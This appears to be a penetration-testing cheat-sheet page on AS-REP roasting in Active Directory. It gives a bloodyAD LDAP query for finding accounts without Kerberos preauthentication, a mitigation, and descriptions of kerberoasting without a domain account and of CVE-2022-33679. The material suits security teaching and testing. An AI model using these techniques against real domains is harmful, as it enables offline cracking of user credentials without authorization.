Roasting - ASREP Roasting

If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting

Requirements:

Accounts with the attribute DONT_REQ_PREAUTH

Windows/Linux:

bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

Windows only:

Mitigations:

All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).

Kerberoasting w/o domain account

In September 2022 a vulnerability was discovered by Charlie Clark, ST (Service Tickets) can be obtained through KRB_AS_REQ request without having to control any Active Directory account. If a principal can authenticate without pre-authentication (like AS-REP Roasting attack), it is possible to use it to launch an KRB_AS_REQ request and trick the request to ask for a ST instead of a encrypted TGT, by modifying the sname attribute in the req-body part of the request.

The technique is fully explained in this article: Semperis blog post.

You must provide a list of users because we don't have a valid account to query the LDAP using this technique.

CVE-2022-33679

CVE-2022-33679 performs an encryption downgrade attack by forcing the KDC to use the RC4-MD4 algorithm and then brute forcing the session key from the AS-REP using a known plaintext attack, Similar to AS-REP Roasting, it works against accounts that have pre-authentication disabled and the attack is unauthenticated meaning we don’t need a client’s password..
